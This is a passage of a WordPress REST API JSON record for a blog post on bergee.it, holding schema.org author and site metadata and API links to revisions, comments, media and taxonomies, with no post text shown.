programming","publisher":{"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/bergee.it\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73","name":"bergee","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","contentUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","width":129,"height":150,"caption":"bergee"},"logo":{"@id":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png"},"sameAs":["http:\/\/localhost\/wordpress","https:\/\/www.linkedin.com\/in\/bartlomiej-bergier","https:\/\/x.com\/https:\/\/twitter.com\/bergee"],"url":"https:\/\/bergee.it\/blog\/author\/bergee\/"}]}},"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/197","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=197"}],"version-history":[{"count":21,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/197\/revisions"}],"predecessor-version":[{"id":226,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/197\/revisions\/226"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=197"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=197"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=197"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}